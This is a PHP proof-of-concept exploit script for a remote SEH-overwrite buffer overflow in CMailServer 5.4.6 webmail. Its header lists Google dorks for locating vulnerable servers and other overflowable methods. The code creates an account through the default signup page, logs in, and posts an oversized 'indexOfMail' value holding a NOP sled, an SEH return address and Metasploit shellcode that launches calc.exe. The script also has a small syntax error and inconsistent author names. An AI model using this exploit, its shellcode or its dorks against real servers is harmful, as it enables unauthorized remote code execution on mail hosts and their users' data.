cmailserver-seh.txt

`<?php  
/*  
CMailServer 5.4.6 mvmail.asp/CMailCOM.dll remote seh overwrite  
proof of concept exploit  
  
by Nine:Situations:Group::bruiser  
  
our site: http://retrogod.altervista.org/  
  
software site: http://www.youngzsoft.net/cmailserver/  
  
Google dorks:  
intitle:"Mail Server CMailServer WebMail"  
intitle:"Mail Server CMailServer WebMail 5.4.6"  
  
Some notes:  
This server provides a IIS/webmail interface and a registered component  
vulnerable to multiple buffer overflows, among the others, the  
CMailCom.POP3 class with CLSID 6971D9B8-B53E-4C25-A414-76199768A592.  
This class is called by various ASP scripts inside the main folder...  
I found this clear vector, look mwmail.asp , lines 25-35:  
  
...  
Set objPOP3 = CreateObject("CMailCOM.POP3.1")  
objPOP3.Login Session("User"), Session("Pass")  
Session("LoginSuccess") = objPOP3.LoginSuccess  
If Session("LoginSuccess") = 1 Then  
set rs=Server.createobject("adodb.recordset")  
rs.open "mailfolder",Conn,1,3  
i = 0  
arrString = Split(Request("indexOfMail"), ";", -1, 1)  
While Len(arrString(i)) <> 0  
strUID = arrString(i)  
objPOP3.MoveToFolder strUID ' <---------------- bof  
...  
  
By attaching olly to the w3wp.exe sub-process you will see the usual  
dump with ecx and eip owned, with a buffer of approxymately 13000 chars.  
  
Exploitation is post-auth but you can have a user account by simply  
browsing the signup.asp page, enabled by default.  
Calc.exe will run with NETWORK SERVICE privilege, check tasks. Note  
that 4-5 failed exploit attempts may result in IIS "Service  
Unavailiable" message.  
  
Other attacks are possible, see a list of locally overflowable  
methods:  
CreateUserPath, Logout, DeleteMailByUID, MoveToInbox, MoveToFolder,  
DeleteMailEx, GetMailDataEx, SetReplySign, SetForwardSign, SetReadSign.  
Note also that remotely there's some kind of validation (ex. you can  
not have a username with a length of more than 4000 chars which  
could be used instead to overflow the CreateUserPath method and  
you cannot overflow ex. through the strUID argument) which reduces a lot  
the remote vectors. However, as you can see there's no filter on  
"indexOfMail" one.  
  
Other notes:  
CMailCOM.SMTP class with CLSID 0609792F-AB56-4CB6-8909-19CDF72CB2A0  
is also vulnerable in the following methods:  
AddAttach, SetSubject, SetBcc, SetBody, SetCc, SetFrom,  
SetTo, SetFromUID  
*/  
  
error_reporting(7);$host=$argv[1];$path=$argv[2];  
$argv[3] ? $port = (int) $argv[3] : $port = 80;  
print ("CMailServer 5.4.6 mvmail.asp/CMailCOM.dll remote seh overwrite\n".  
"exploit\n".  
"by Nine:Situations:Group::bookoo\n");  
$argv[2] ? print("attackin'...\n") : die ("syntax: php ".$argv[0]." [host] [path] [[port]]\n".  
"example: php ".$argv[0]." 192.168.0.1 /mail/ \n".  
" '' php ".$argv[0]." 192.168.0.1 / 81 \n");  
$url = "http://$host:$port";  
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;  
$win ? dl("php_curl.dll") : dl("php_curl.so");  
  
//borrowed from bookoo  
function send($packet,$out) {  
  
global $url, $data;  
  
if (!extension_loaded("curl"){  
die("you need the curl extesion loaded to run...");  
}  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL,$url);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_TIMEOUT, 5);  
curl_setopt($ch, CURLOPT_HEADER, 1);  
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $packet);  
$data = curl_exec($ch); if (curl_errno($ch)) {  
print curl_error($ch)."\n";  
} else {  
curl_close($ch);  
}  
if ($out) print($data."\n");  
}  
  
$agent="Mozilla/5.0 (Windows; U; Windows NT 5.2; it; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15";  
//subscribe  
$usr="bookoo";$pwd="password";//new usr username & password, change  
$d ="Signup=1&Account=$usr&Pass=$pwd&RePass=$pwd&UserName=&Comment=User&POP3Mail=%40ieqowieoqw.com";  
$h ="POST ".$path."signup.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nConnection: Close\r\n\r\n$d";  
send($h,0);  
$tmp=explode("Set-Cookie: ",$data);  
for ($i=1; $i<count($tmp);$i++){ $tmpi=explode(" ",$tmp[$i]);$sess=$tmpi[0];$pos=strpos($sess, "ASPSESSIONID"); if ($pos === true) break; echo $sess."\n";}  
//login  
$d ="User=$usr&Pass=$pwd&SaveUserPass=on";  
$h ="POST ".$path."login.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nCookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;\r\nConnection: Close\r\n\r\n$d";  
send($h,0);  
//attack  
//bad chars: \x3b \x2f  
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=Pex http://metasploit.com  
$shellcode =  
"\x2b\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xcf".  
"\x67\x5f\x11\x83\xee\xfc\xe2\xf4\x33\x8f\x1b\x11\xcf\x67\xd4\x54".  
"\xf3\xec\x23\x14\xb7\x66\xb0\x9a\x80\x7f\xd4\x4e\xef\x66\xb4\x58".  
"\x44\x53\xd4\x10\x21\x56\x9f\x88\x63\xe3\x9f\x65\xc8\xa6\x95\x1c".  
"\xce\xa5\xb4\xe5\xf4\x33\x7b\x15\xba\x82\xd4\x4e\xeb\x66\xb4\x77".  
"\x44\x6b\x14\x9a\x90\x7b\x5e\xfa\x44\x7b\xd4\x10\x24\xee\x03\x35".  
"\xcb\xa4\x6e\xd1\xab\xec\x1f\x21\x4a\xa7\x27\x1d\x44\x27\x53\x9a".  
"\xbf\x7b\xf2\x9a\xa7\x6f\xb4\x18\x44\xe7\xef\x11\xcf\x67\xd4\x79".  
"\xf3\x38\x6e\xe7\xaf\x31\xd6\xe9\x4c\xa7\x24\x41\xa7\x97\xd5\x15".  
"\x90\x0f\xc7\xef\x45\x69\x08\xee\x28\x04\x3e\x7d\xac\x67\x5f\x11";  
$jmp_short="\xeb\x10\x90\x90";  
$seh="\xf1\xda\x02\x10"; #0x1002DAF1 cmailcom.dll / pop ecx - pop - ret  
$nop=str_repeat("\x90",12648);  
$bof= $nop . $jmp_short. $seh . str_repeat("\x90",24). $shellcode ;  
$d="sel=aaaa&ToFolder=4&indexOfMail=".urlencode($bof)."&mailcount=1&pages=";  
$h ="POST ".$path."mvmail.asp HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($d)."\r\nCookie: $sess SaveUserPass=1; Pass=$pwd; User=$usr;\r\nConnection: Close\r\n\r\n$d";  
send($h,1);  
?>  
  
`